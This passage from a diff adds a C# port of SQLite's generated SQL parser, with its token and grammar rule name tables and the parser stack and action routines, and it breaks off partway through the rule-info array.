"CASE", "WHEN", +"THEN", "ELSE", "INDEX", "ALTER", +"ADD", "error", "input", "cmdlist", +"ecmd", "explain", "cmdx", "cmd", +"transtype", "trans_opt", "nm", "savepoint_opt", +"create_table", "create_table_args", "createkw", "temp", +"ifnotexists", "dbnm", "columnlist", "conslist_opt", +"select", "column", "columnid", "type", +"carglist", "id", "ids", "typetoken", +"typename", "signed", "plus_num", "minus_num", +"carg", "ccons", "term", "expr", +"onconf", "sortorder", "autoinc", "idxlist_opt", +"refargs", "defer_subclause", "refarg", "refact", +"init_deferred_pred_opt", "conslist", "tcons", "idxlist", +"defer_subclause_opt", "orconf", "resolvetype", "raisetype", +"ifexists", "fullname", "oneselect", "multiselect_op", +"distinct", "selcollist", "from", "where_opt", +"groupby_opt", "having_opt", "orderby_opt", "limit_opt", +"sclp", "as", "seltablist", "stl_prefix", +"joinop", "indexed_opt", "on_opt", "using_opt", +"joinop2", "inscollist", "sortlist", "sortitem", +"nexprlist", "setlist", "insert_cmd", "inscollist_opt", +"itemlist", "exprlist", "likeop", "escape", +"between_op", "in_op", "case_operand", "case_exprlist", +"case_else", "uniqueflag", "collate", "nmnum", +"plus_opt", "number", "trigger_decl", "trigger_cmd_list", +"trigger_time", "trigger_event", "foreach_clause", "when_clause", +"trigger_cmd", "trnm", "tridxby", "database_kw_opt", +"key_opt", "add_column_fullname", "kwcolumn_opt", "create_vtab", +"vtabarglist", "vtabarg", "vtabargtoken", "lp", +"anylist", }; +#endif // * NDEBUG */ + +#if !NDEBUG + /* For tracing reduce actions, the names of all rules are required. +*/ + static string[] yyRuleName = { +/* 0 */ "input ::= cmdlist", +/* 1 */ "cmdlist ::= cmdlist ecmd", +/* 2 */ "cmdlist ::= ecmd", +/* 3 */ "ecmd ::= SEMI", +/* 4 */ "ecmd ::= explain cmdx SEMI", +/* 5 */ "explain ::=", +/* 6 */ "explain ::= EXPLAIN", +/* 7 */ "explain ::= EXPLAIN QUERY PLAN", +/* 8 */ "cmdx ::= cmd", +/* 9 */ "cmd ::= BEGIN transtype trans_opt", +/* 10 */ "trans_opt ::=", +/* 11 */ "trans_opt ::= TRANSACTION", +/* 12 */ "trans_opt ::= TRANSACTION nm", +/* 13 */ "transtype ::=", +/* 14 */ "transtype ::= DEFERRED", +/* 15 */ "transtype ::= IMMEDIATE", +/* 16 */ "transtype ::= EXCLUSIVE", +/* 17 */ "cmd ::= COMMIT trans_opt", +/* 18 */ "cmd ::= END trans_opt", +/* 19 */ "cmd ::= ROLLBACK trans_opt", +/* 20 */ "savepoint_opt ::= SAVEPOINT", +/* 21 */ "savepoint_opt ::=", +/* 22 */ "cmd ::= SAVEPOINT nm", +/* 23 */ "cmd ::= RELEASE savepoint_opt nm", +/* 24 */ "cmd ::= ROLLBACK trans_opt TO savepoint_opt nm", +/* 25 */ "cmd ::= create_table create_table_args", +/* 26 */ "create_table ::= createkw temp TABLE ifnotexists nm dbnm", +/* 27 */ "createkw ::= CREATE", +/* 28 */ "ifnotexists ::=", +/* 29 */ "ifnotexists ::= IF NOT EXISTS", +/* 30 */ "temp ::= TEMP", +/* 31 */ "temp ::=", +/* 32 */ "create_table_args ::= LP columnlist conslist_opt RP", +/* 33 */ "create_table_args ::= AS select", +/* 34 */ "columnlist ::= columnlist COMMA column", +/* 35 */ "columnlist ::= column", +/* 36 */ "column ::= columnid type carglist", +/* 37 */ "columnid ::= nm", +/* 38 */ "id ::= ID", +/* 39 */ "id ::= INDEXED", +/* 40 */ "ids ::= ID|STRING", +/* 41 */ "nm ::= id", +/* 42 */ "nm ::= STRING", +/* 43 */ "nm ::= JOIN_KW", +/* 44 */ "type ::=", +/* 45 */ "type ::= typetoken", +/* 46 */ "typetoken ::= typename", +/* 47 */ "typetoken ::= typename LP signed RP", +/* 48 */ "typetoken ::= typename LP signed COMMA signed RP", +/* 49 */ "typename ::= ids", +/* 50 */ "typename ::= typename ids", +/* 51 */ "signed ::= plus_num", +/* 52 */ "signed ::= minus_num", +/* 53 */ "carglist ::= carglist carg", +/* 54 */ "carglist ::=", +/* 55 */ "carg ::= CONSTRAINT nm ccons", +/* 56 */ "carg ::= ccons", +/* 57 */ "ccons ::= DEFAULT term", +/* 58 */ "ccons ::= DEFAULT LP expr RP", +/* 59 */ "ccons ::= DEFAULT PLUS term", +/* 60 */ "ccons ::= DEFAULT MINUS term", +/* 61 */ "ccons ::= DEFAULT id", +/* 62 */ "ccons ::= NULL onconf", +/* 63 */ "ccons ::= NOT NULL onconf", +/* 64 */ "ccons ::= PRIMARY KEY sortorder onconf autoinc", +/* 65 */ "ccons ::= UNIQUE onconf", +/* 66 */ "ccons ::= CHECK LP expr RP", +/* 67 */ "ccons ::= REFERENCES nm idxlist_opt refargs", +/* 68 */ "ccons ::= defer_subclause", +/* 69 */ "ccons ::= COLLATE ids", +/* 70 */ "autoinc ::=", +/* 71 */ "autoinc ::= AUTOINCR", +/* 72 */ "refargs ::=", +/* 73 */ "refargs ::= refargs refarg", +/* 74 */ "refarg ::= MATCH nm", +/* 75 */ "refarg ::= ON DELETE refact", +/* 76 */ "refarg ::= ON UPDATE refact", +/* 77 */ "refarg ::= ON INSERT refact", +/* 78 */ "refact ::= SET NULL", +/* 79 */ "refact ::= SET DEFAULT", +/* 80 */ "refact ::= CASCADE", +/* 81 */ "refact ::= RESTRICT", +/* 82 */ "defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt", +/* 83 */ "defer_subclause ::= DEFERRABLE init_deferred_pred_opt", +/* 84 */ "init_deferred_pred_opt ::=", +/* 85 */ "init_deferred_pred_opt ::= INITIALLY DEFERRED", +/* 86 */ "init_deferred_pred_opt ::= INITIALLY IMMEDIATE", +/* 87 */ "conslist_opt ::=", +/* 88 */ "conslist_opt ::= COMMA conslist", +/* 89 */ "conslist ::= conslist COMMA tcons", +/* 90 */ "conslist ::= conslist tcons", +/* 91 */ "conslist ::= tcons", +/* 92 */ "tcons ::= CONSTRAINT nm", +/* 93 */ "tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf", +/* 94 */ "tcons ::= UNIQUE LP idxlist RP onconf", +/* 95 */ "tcons ::= CHECK LP expr RP onconf", +/* 96 */ "tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt", +/* 97 */ "defer_subclause_opt ::=", +/* 98 */ "defer_subclause_opt ::= defer_subclause", +/* 99 */ "onconf ::=", +/* 100 */ "onconf ::= ON CONFLICT resolvetype", +/* 101 */ "orconf ::=", +/* 102 */ "orconf ::= OR resolvetype", +/* 103 */ "resolvetype ::= raisetype", +/* 104 */ "resolvetype ::= IGNORE", +/* 105 */ "resolvetype ::= REPLACE", +/* 106 */ "cmd ::= DROP TABLE ifexists fullname", +/* 107 */ "ifexists ::= IF EXISTS", +/* 108 */ "ifexists ::=", +/* 109 */ "cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select", +/* 110 */ "cmd ::= DROP VIEW ifexists fullname", +/* 111 */ "cmd ::= select", +/* 112 */ "select ::= oneselect", +/* 113 */ "select ::= select multiselect_op oneselect", +/* 114 */ "multiselect_op ::= UNION", +/* 115 */ "multiselect_op ::= UNION ALL", +/* 116 */ "multiselect_op ::= EXCEPT|INTERSECT", +/* 117 */ "oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt", +/* 118 */ "distinct ::= DISTINCT", +/* 119 */ "distinct ::= ALL", +/* 120 */ "distinct ::=", +/* 121 */ "sclp ::= selcollist COMMA", +/* 122 */ "sclp ::=", +/* 123 */ "selcollist ::= sclp expr as", +/* 124 */ "selcollist ::= sclp STAR", +/* 125 */ "selcollist ::= sclp nm DOT STAR", +/* 126 */ "as ::= AS nm", +/* 127 */ "as ::= ids", +/* 128 */ "as ::=", +/* 129 */ "from ::=", +/* 130 */ "from ::= FROM seltablist", +/* 131 */ "stl_prefix ::= seltablist joinop", +/* 132 */ "stl_prefix ::=", +/* 133 */ "seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt", +/* 134 */ "seltablist ::= stl_prefix LP select RP as on_opt using_opt", +/* 135 */ "seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt", +/* 136 */ "dbnm ::=", +/* 137 */ "dbnm ::= DOT nm", +/* 138 */ "fullname ::= nm dbnm", +/* 139 */ "joinop ::= COMMA|JOIN", +/* 140 */ "joinop ::= JOIN_KW JOIN", +/* 141 */ "joinop ::= JOIN_KW nm JOIN", +/* 142 */ "joinop ::= JOIN_KW nm nm JOIN", +/* 143 */ "on_opt ::= ON expr", +/* 144 */ "on_opt ::=", +/* 145 */ "indexed_opt ::=", +/* 146 */ "indexed_opt ::= INDEXED BY nm", +/* 147 */ "indexed_opt ::= NOT INDEXED", +/* 148 */ "using_opt ::= USING LP inscollist RP", +/* 149 */ "using_opt ::=", +/* 150 */ "orderby_opt ::=", +/* 151 */ "orderby_opt ::= ORDER BY sortlist", +/* 152 */ "sortlist ::= sortlist COMMA sortitem sortorder", +/* 153 */ "sortlist ::= sortitem sortorder", +/* 154 */ "sortitem ::= expr", +/* 155 */ "sortorder ::= ASC", +/* 156 */ "sortorder ::= DESC", +/* 157 */ "sortorder ::=", +/* 158 */ "groupby_opt ::=", +/* 159 */ "groupby_opt ::= GROUP BY nexprlist", +/* 160 */ "having_opt ::=", +/* 161 */ "having_opt ::= HAVING expr", +/* 162 */ "limit_opt ::=", +/* 163 */ "limit_opt ::= LIMIT expr", +/* 164 */ "limit_opt ::= LIMIT expr OFFSET expr", +/* 165 */ "limit_opt ::= LIMIT expr COMMA expr", +/* 166 */ "cmd ::= DELETE FROM fullname indexed_opt where_opt", +/* 167 */ "where_opt ::=", +/* 168 */ "where_opt ::= WHERE expr", +/* 169 */ "cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt", +/* 170 */ "setlist ::= setlist COMMA nm EQ expr", +/* 171 */ "setlist ::= nm EQ expr", +/* 172 */ "cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP", +/* 173 */ "cmd ::= insert_cmd INTO fullname inscollist_opt select", +/* 174 */ "cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES", +/* 175 */ "insert_cmd ::= INSERT orconf", +/* 176 */ "insert_cmd ::= REPLACE", +/* 177 */ "itemlist ::= itemlist COMMA expr", +/* 178 */ "itemlist ::= expr", +/* 179 */ "inscollist_opt ::=", +/* 180 */ "inscollist_opt ::= LP inscollist RP", +/* 181 */ "inscollist ::= inscollist COMMA nm", +/* 182 */ "inscollist ::= nm", +/* 183 */ "expr ::= term", +/* 184 */ "expr ::= LP expr RP", +/* 185 */ "term ::= NULL", +/* 186 */ "expr ::= id", +/* 187 */ "expr ::= JOIN_KW", +/* 188 */ "expr ::= nm DOT nm", +/* 189 */ "expr ::= nm DOT nm DOT nm", +/* 190 */ "term ::= INTEGER|FLOAT|BLOB", +/* 191 */ "term ::= STRING", +/* 192 */ "expr ::= REGISTER", +/* 193 */ "expr ::= VARIABLE", +/* 194 */ "expr ::= expr COLLATE ids", +/* 195 */ "expr ::= CAST LP expr AS typetoken RP", +/* 196 */ "expr ::= ID LP distinct exprlist RP", +/* 197 */ "expr ::= ID LP STAR RP", +/* 198 */ "term ::= CTIME_KW", +/* 199 */ "expr ::= expr AND expr", +/* 200 */ "expr ::= expr OR expr", +/* 201 */ "expr ::= expr LT|GT|GE|LE expr", +/* 202 */ "expr ::= expr EQ|NE expr", +/* 203 */ "expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr", +/* 204 */ "expr ::= expr PLUS|MINUS expr", +/* 205 */ "expr ::= expr STAR|SLASH|REM expr", +/* 206 */ "expr ::= expr CONCAT expr", +/* 207 */ "likeop ::= LIKE_KW", +/* 208 */ "likeop ::= NOT LIKE_KW", +/* 209 */ "likeop ::= MATCH", +/* 210 */ "likeop ::= NOT MATCH", +/* 211 */ "escape ::= ESCAPE expr", +/* 212 */ "escape ::=", +/* 213 */ "expr ::= expr likeop expr escape", +/* 214 */ "expr ::= expr ISNULL|NOTNULL", +/* 215 */ "expr ::= expr IS NULL", +/* 216 */ "expr ::= expr NOT NULL", +/* 217 */ "expr ::= expr IS NOT NULL", +/* 218 */ "expr ::= NOT expr", +/* 219 */ "expr ::= BITNOT expr", +/* 220 */ "expr ::= MINUS expr", +/* 221 */ "expr ::= PLUS expr", +/* 222 */ "between_op ::= BETWEEN", +/* 223 */ "between_op ::= NOT BETWEEN", +/* 224 */ "expr ::= expr between_op expr AND expr", +/* 225 */ "in_op ::= IN", +/* 226 */ "in_op ::= NOT IN", +/* 227 */ "expr ::= expr in_op LP exprlist RP", +/* 228 */ "expr ::= LP select RP", +/* 229 */ "expr ::= expr in_op LP select RP", +/* 230 */ "expr ::= expr in_op nm dbnm", +/* 231 */ "expr ::= EXISTS LP select RP", +/* 232 */ "expr ::= CASE case_operand case_exprlist case_else END", +/* 233 */ "case_exprlist ::= case_exprlist WHEN expr THEN expr", +/* 234 */ "case_exprlist ::= WHEN expr THEN expr", +/* 235 */ "case_else ::= ELSE expr", +/* 236 */ "case_else ::=", +/* 237 */ "case_operand ::= expr", +/* 238 */ "case_operand ::=", +/* 239 */ "exprlist ::= nexprlist", +/* 240 */ "exprlist ::=", +/* 241 */ "nexprlist ::= nexprlist COMMA expr", +/* 242 */ "nexprlist ::= expr", +/* 243 */ "cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP", +/* 244 */ "uniqueflag ::= UNIQUE", +/* 245 */ "uniqueflag ::=", +/* 246 */ "idxlist_opt ::=", +/* 247 */ "idxlist_opt ::= LP idxlist RP", +/* 248 */ "idxlist ::= idxlist COMMA nm collate sortorder", +/* 249 */ "idxlist ::= nm collate sortorder", +/* 250 */ "collate ::=", +/* 251 */ "collate ::= COLLATE ids", +/* 252 */ "cmd ::= DROP INDEX ifexists fullname", +/* 253 */ "cmd ::= VACUUM", +/* 254 */ "cmd ::= VACUUM nm", +/* 255 */ "cmd ::= PRAGMA nm dbnm", +/* 256 */ "cmd ::= PRAGMA nm dbnm EQ nmnum", +/* 257 */ "cmd ::= PRAGMA nm dbnm LP nmnum RP", +/* 258 */ "cmd ::= PRAGMA nm dbnm EQ minus_num", +/* 259 */ "cmd ::= PRAGMA nm dbnm LP minus_num RP", +/* 260 */ "nmnum ::= plus_num", +/* 261 */ "nmnum ::= nm", +/* 262 */ "nmnum ::= ON", +/* 263 */ "nmnum ::= DELETE", +/* 264 */ "nmnum ::= DEFAULT", +/* 265 */ "plus_num ::= plus_opt number", +/* 266 */ "minus_num ::= MINUS number", +/* 267 */ "number ::= INTEGER|FLOAT", +/* 268 */ "plus_opt ::= PLUS", +/* 269 */ "plus_opt ::=", +/* 270 */ "cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END", +/* 271 */ "trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause", +/* 272 */ "trigger_time ::= BEFORE", +/* 273 */ "trigger_time ::= AFTER", +/* 274 */ "trigger_time ::= INSTEAD OF", +/* 275 */ "trigger_time ::=", +/* 276 */ "trigger_event ::= DELETE|INSERT", +/* 277 */ "trigger_event ::= UPDATE", +/* 278 */ "trigger_event ::= UPDATE OF inscollist", +/* 279 */ "foreach_clause ::=", +/* 280 */ "foreach_clause ::= FOR EACH ROW", +/* 281 */ "when_clause ::=", +/* 282 */ "when_clause ::= WHEN expr", +/* 283 */ "trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI", +/* 284 */ "trigger_cmd_list ::= trigger_cmd SEMI", +/* 285 */ "trnm ::= nm", +/* 286 */ "trnm ::= nm DOT nm", +/* 287 */ "tridxby ::=", +/* 288 */ "tridxby ::= INDEXED BY nm", +/* 289 */ "tridxby ::= NOT INDEXED", +/* 290 */ "trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt", +/* 291 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP", +/* 292 */ "trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select", +/* 293 */ "trigger_cmd ::= DELETE FROM trnm tridxby where_opt", +/* 294 */ "trigger_cmd ::= select", +/* 295 */ "expr ::= RAISE LP IGNORE RP", +/* 296 */ "expr ::= RAISE LP raisetype COMMA nm RP", +/* 297 */ "raisetype ::= ROLLBACK", +/* 298 */ "raisetype ::= ABORT", +/* 299 */ "raisetype ::= FAIL", +/* 300 */ "cmd ::= DROP TRIGGER ifexists fullname", +/* 301 */ "cmd ::= ATTACH database_kw_opt expr AS expr key_opt", +/* 302 */ "cmd ::= DETACH database_kw_opt expr", +/* 303 */ "key_opt ::=", +/* 304 */ "key_opt ::= KEY expr", +/* 305 */ "database_kw_opt ::= DATABASE", +/* 306 */ "database_kw_opt ::=", +/* 307 */ "cmd ::= REINDEX", +/* 308 */ "cmd ::= REINDEX nm dbnm", +/* 309 */ "cmd ::= ANALYZE", +/* 310 */ "cmd ::= ANALYZE nm dbnm", +/* 311 */ "cmd ::= ALTER TABLE fullname RENAME TO nm", +/* 312 */ "cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column", +/* 313 */ "add_column_fullname ::= fullname", +/* 314 */ "kwcolumn_opt ::=", +/* 315 */ "kwcolumn_opt ::= COLUMNKW", +/* 316 */ "cmd ::= create_vtab", +/* 317 */ "cmd ::= create_vtab LP vtabarglist RP", +/* 318 */ "create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm", +/* 319 */ "vtabarglist ::= vtabarg", +/* 320 */ "vtabarglist ::= vtabarglist COMMA vtabarg", +/* 321 */ "vtabarg ::=", +/* 322 */ "vtabarg ::= vtabarg vtabargtoken", +/* 323 */ "vtabargtoken ::= ANY", +/* 324 */ "vtabargtoken ::= lp anylist RP", +/* 325 */ "lp ::= LP", +/* 326 */ "anylist ::=", +/* 327 */ "anylist ::= anylist LP anylist RP", +/* 328 */ "anylist ::= anylist ANY", +}; +#endif // * NDEBUG */ + + +#if YYSTACKDEPTH//<=0 +/* +** Try to increase the size of the parser stack. +*/ +static void yyGrowStack(yyParser p){ +int newSize; +//yyStackEntry pNew; + +newSize = p.yystksz*2 + 100; +//pNew = realloc(p.yystack, newSize*sizeof(pNew[0])); +//if( pNew !=null){ +p.yystack = Array.Resize(p.yystack,newSize); //pNew; +p.yystksz = newSize; +#if !NDEBUG +if( yyTraceFILE ){ +fprintf(yyTraceFILE,"%sStack grows to %d entries!\n", +yyTracePrompt, p.yystksz); +} +#endif +//} +} +#endif + + /* +** This function allocates a new parser. +** The only argument is a pointer to a function which works like +** malloc. +** +** Inputs: +** A pointer to the function used to allocate memory. +** +** Outputs: +** A pointer to a parser. This pointer is used in subsequent calls +** to sqlite3Parser and sqlite3ParserFree. +*/ + static yyParser sqlite3ParserAlloc() + {//void *(*mallocProc)(size_t)){ + yyParser pParser = new yyParser(); + //pParser = (yyParser*)(*mallocProc)( (size_t)yyParser.Length ); + if (pParser != null) + { + pParser.yyidx = -1; +#if YYTRACKMAXSTACKDEPTH +pParser.yyidxMax=0; +#endif + +#if YYSTACKDEPTH//<=0 +pParser.yystack = NULL; +pParser.yystksz = 0; +yyGrowStack(pParser); +#endif + } + return pParser; + } + + /* The following function deletes the value associated with a + ** symbol. The symbol can be either a terminal or nonterminal. + ** "yymajor" is the symbol code, and "yypminor" is a pointer to + ** the value. + */ + static void yy_destructor( + yyParser yypParser, /* The parser */ + YYCODETYPE yymajor, /* Type code for object to destroy */ + YYMINORTYPE yypminor /* The object to be destroyed */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + switch (yymajor) + { + /* Here is inserted the actions which take place when a + ** terminal or non-terminal is destroyed. This can happen + ** when the symbol is popped from the stack during a + ** reduce or during error processing or when a parser is + ** being destroyed before it is finished parsing. + ** + ** Note: during a reduce, the only symbols destroyed are those + ** which appear on the RHS of the rule, but which are not used + ** inside the C code. + */ + case 160: /* select */ + case 194: /* oneselect */ + { + //#line 404 "parse.y" + sqlite3SelectDelete(pParse.db, ref (yypminor.yy3)); + //#line 1373 "parse.c" + } + break; + case 174: /* term */ + case 175: /* expr */ + case 223: /* escape */ + { + //#line 721 "parse.y" + sqlite3ExprDelete(pParse.db, ref (yypminor.yy346).pExpr); + //#line 1382 "parse.c" + } + break; + case 179: /* idxlist_opt */ + case 187: /* idxlist */ + case 197: /* selcollist */ + case 200: /* groupby_opt */ + case 202: /* orderby_opt */ + case 204: /* sclp */ + case 214: /* sortlist */ + case 216: /* nexprlist */ + case 217: /* setlist */ + case 220: /* itemlist */ + case 221: /* exprlist */ + case 227: /* case_exprlist */ + { + //#line 1062 "parse.y" + sqlite3ExprListDelete(pParse.db, ref (yypminor.yy14)); + //#line 1400 "parse.c" + } + break; + case 193: /* fullname */ + case 198: /* from */ + case 206: /* seltablist */ + case 207: /* stl_prefix */ + { + //#line 535 "parse.y" + sqlite3SrcListDelete(pParse.db, ref (yypminor.yy65)); + //#line 1410 "parse.c" + } + break; + case 199: /* where_opt */ + case 201: /* having_opt */ + case 210: /* on_opt */ + case 215: /* sortitem */ + case 226: /* case_operand */ + case 228: /* case_else */ + case 239: /* when_clause */ + case 242: /* key_opt */ + { + //#line 645 "parse.y" + sqlite3ExprDelete(pParse.db, ref (yypminor.yy132)); + //#line 1424 "parse.c" + } + break; + case 211: /* using_opt */ + case 213: /* inscollist */ + case 219: /* inscollist_opt */ + { + //#line 567 "parse.y" + sqlite3IdListDelete(pParse.db, ref (yypminor.yy408)); + //#line 1433 "parse.c" + } + break; + case 235: /* trigger_cmd_list */ + case 240: /* trigger_cmd */ + { + //#line 1169 "parse.y" + sqlite3DeleteTriggerStep(pParse.db, ref (yypminor.yy473)); + //#line 1441 "parse.c" + } + break; + case 237: /* trigger_event */ + { + //#line 1155 "parse.y" + sqlite3IdListDelete(pParse.db, ref (yypminor.yy378).b); + //#line 1448 "parse.c" + } + break; + default: break; /* If no destructor action specified: do nothing */ + } + } + + /* + ** Pop the parser's stack once. + ** + ** If there is a destructor routine associated with the token which + ** is popped from the stack, then call it. + ** + ** Return the major token number for the symbol popped. + */ + static int yy_pop_parser_stack(yyParser pParser) + { + YYCODETYPE yymajor; + yyStackEntry yytos = pParser.yystack[pParser.yyidx]; + + /* There is no mechanism by which the parser stack can be popped below + ** empty in SQLite. */ + if (NEVER(pParser.yyidx < 0)) return 0; +#if !NDEBUG + if (yyTraceFILE != null && pParser.yyidx >= 0) + { + fprintf(yyTraceFILE, "%sPopping %s\n", + yyTracePrompt, + yyTokenName[yytos.major]); + } +#endif + yymajor = yytos.major; + yy_destructor(pParser, yymajor, yytos.minor); + pParser.yyidx--; + return yymajor; + } + + /* + ** Deallocate and destroy a parser. Destructors are all called for + ** all stack elements before shutting the parser down. + ** + ** Inputs: + **
      + **
    • A pointer to the parser. This should be a pointer + ** obtained from sqlite3ParserAlloc. + **
    • A pointer to a function used to reclaim memory obtained + ** from malloc. + **
    + */ + static void sqlite3ParserFree( + yyParser p, /* The parser to be deleted */ + dxDel freeProc//)(void*) /* Function used to reclaim memory */ + ) + { + yyParser pParser = p; + /* In SQLite, we never try to destroy a parser that was not successfully + ** created in the first place. */ + if (NEVER(pParser == null)) return; + while (pParser.yyidx >= 0) yy_pop_parser_stack(pParser); +#if YYSTACKDEPTH//<=0 +pParser.yystack = null;//free(pParser.yystack); +#endif + pParser = null;// freeProc(ref pParser); + } + + /* + ** Return the peak depth of the stack for a parser. + */ +#if YYTRACKMAXSTACKDEPTH +int sqlite3ParserStackPeak(void p){ +yyParser pParser = (yyParser*)p; +return pParser.yyidxMax; +} +#endif + + /* +** Find the appropriate action for a parser given the terminal +** look-ahead token iLookAhead. +** +** If the look-ahead token is YYNOCODE, then check to see if the action is +** independent of the look-ahead. If it is, return the action, otherwise +** return YY_NO_ACTION. +*/ + static int yy_find_shift_action( + yyParser pParser, /* The parser */ + YYCODETYPE iLookAhead /* The look-ahead token */ + ) + { + int i; + int stateno = pParser.yystack[pParser.yyidx].stateno; + + if (stateno > YY_SHIFT_MAX || (i = yy_shift_ofst[stateno]) == YY_SHIFT_USE_DFLT) + { + return yy_default[stateno]; + } + Debug.Assert(iLookAhead != YYNOCODE); + i += iLookAhead; + if (i < 0 || i >= YY_SZ_ACTTAB || yy_lookahead[i] != iLookAhead) + { + /* The user of ";" instead of "\000" as a statement terminator in SQLite + ** means that we always have a look-ahead token. */ + if (iLookAhead > 0) + { +#if YYFALLBACK + YYCODETYPE iFallback; /* Fallback token */ + if (iLookAhead < yyFallback.Length //yyFallback.Length/sizeof(yyFallback[0]) + && (iFallback = yyFallback[iLookAhead]) != 0) + { +#if !NDEBUG + if (yyTraceFILE != null) + { + fprintf(yyTraceFILE, "%sFALLBACK %s => %s\n", + yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[iFallback]); + } +#endif + return yy_find_shift_action(pParser, iFallback); + } +#endif +#if YYWILDCARD + { + int j = i - iLookAhead + YYWILDCARD; + if (j >= 0 && j < YY_SZ_ACTTAB && yy_lookahead[j] == YYWILDCARD) + { +#if !NDEBUG + if (yyTraceFILE != null) + { + Debugger.Break(); // TODO -- + //fprintf(yyTraceFILE, "%sWILDCARD %s => %s\n", + // yyTracePrompt, yyTokenName[iLookAhead], yyTokenName[YYWILDCARD]); + } +#endif // * NDEBUG */ + return yy_action[j]; + } + } +#endif // * YYWILDCARD */ + } + return yy_default[stateno]; + } + else + { + return yy_action[i]; + } + } + + /* + ** Find the appropriate action for a parser given the non-terminal + ** look-ahead token iLookAhead. + ** + ** If the look-ahead token is YYNOCODE, then check to see if the action is + ** independent of the look-ahead. If it is, return the action, otherwise + ** return YY_NO_ACTION. + */ + static int yy_find_reduce_action( + int stateno, /* Current state number */ + YYCODETYPE iLookAhead /* The look-ahead token */ + ) + { + int i; +#if YYERRORSYMBOL +if( stateno>YY_REDUCE_MAX ){ +return yy_default[stateno]; +} +#else + Debug.Assert(stateno <= YY_REDUCE_MAX); +#endif + i = yy_reduce_ofst[stateno]; + Debug.Assert(i != YY_REDUCE_USE_DFLT); + Debug.Assert(iLookAhead != YYNOCODE); + i += iLookAhead; +#if YYERRORSYMBOL +if( i<0 || i>=YY_SZ_ACTTAB || yy_lookahead[i]!=iLookAhead ){ +return yy_default[stateno]; +} +#else + Debug.Assert(i >= 0 && i < YY_SZ_ACTTAB); + Debug.Assert(yy_lookahead[i] == iLookAhead); +#endif + return yy_action[i]; + } + + /* + ** The following routine is called if the stack overflows. + */ + static void yyStackOverflow(yyParser yypParser, YYMINORTYPE yypMinor) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + yypParser.yyidx--; +#if !NDEBUG + if (yyTraceFILE != null) + { + Debugger.Break(); // TODO -- + //fprintf(yyTraceFILE, "%sStack Overflow!\n", yyTracePrompt); + } +#endif + while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); + /* Here code is inserted which will execute if the parser + ** stack every overflows */ + //#line 40 "parse.y" + + UNUSED_PARAMETER(yypMinor); /* Silence some compiler warnings */ + sqlite3ErrorMsg(pParse, "parser stack overflow"); + pParse.parseError = 1; + //#line 1632 "parse.c" + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument var */ + } + + /* + ** Perform a shift action. + */ + static void yy_shift( + yyParser yypParser, /* The parser to be shifted */ + int yyNewState, /* The new state to shift in */ + int yyMajor, /* The major token to shift in */ + YYMINORTYPE yypMinor /* Pointer to the minor token to shift in */ + ) + { + yyStackEntry yytos = new yyStackEntry(); + yypParser.yyidx++; +#if YYTRACKMAXSTACKDEPTH +if( yypParser.yyidx>yypParser.yyidxMax ){ +yypParser.yyidxMax = yypParser.yyidx; +} +#endif +#if !YYSTACKDEPTH//was YYSTACKDEPTH>0 + if (yypParser.yyidx >= YYSTACKDEPTH) + { + yyStackOverflow(yypParser, yypMinor); + return; + } +#else +if( yypParser.yyidx>=yypParser.yystksz ){ +yyGrowStack(yypParser); +if( yypParser.yyidx>=yypParser.yystksz ){ +yyStackOverflow(yypParser, yypMinor); +return; +} +} +#endif + yypParser.yystack[yypParser.yyidx] = yytos;//yytos = yypParser.yystack[yypParser.yyidx]; + yytos.stateno = (YYACTIONTYPE)yyNewState; + yytos.major = (YYCODETYPE)yyMajor; + yytos.minor = yypMinor; +#if !NDEBUG + if (yyTraceFILE != null && yypParser.yyidx > 0) + { + int i; + fprintf(yyTraceFILE, "%sShift %d\n", yyTracePrompt, yyNewState); + fprintf(yyTraceFILE, "%sStack:", yyTracePrompt); + for (i = 1; i <= yypParser.yyidx; i++) + fprintf(yyTraceFILE, " %s", yyTokenName[yypParser.yystack[i].major]); + fprintf(yyTraceFILE, "\n"); + } +#endif + } + /* The following table contains information about every rule that + ** is used during the reduce. + */ + public struct _yyRuleInfo + { + public YYCODETYPE lhs; /* Symbol on the left-hand side of the rule */ + public byte nrhs; /* Number of right-hand side symbols in the rule */ + public _yyRuleInfo(YYCODETYPE lhs, byte nrhs) + { + this.lhs = lhs; + this.nrhs = nrhs; + } + + } + static _yyRuleInfo[] yyRuleInfo = new _yyRuleInfo[]{ +new _yyRuleInfo( 142, 1 ), +new _yyRuleInfo( 143, 2 ), +new _yyRuleInfo( 143, 1 ), +new _yyRuleInfo( 144, 1 ), +new _yyRuleInfo( 144, 3 ), +new _yyRuleInfo( 145, 0 ), +new _yyRuleInfo( 145, 1 ), +new _yyRuleInfo( 145, 3 ), +new _yyRuleInfo( 146, 1 ), +new _yyRuleInfo( 147, 3 ), +new _yyRuleInfo( 149, 0 ), +new _yyRuleInfo( 149, 1 ), +new _yyRuleInfo( 149, 2 ), +new _yyRuleInfo( 148, 0 ), +new _yyRuleInfo( 148, 1 ), +new 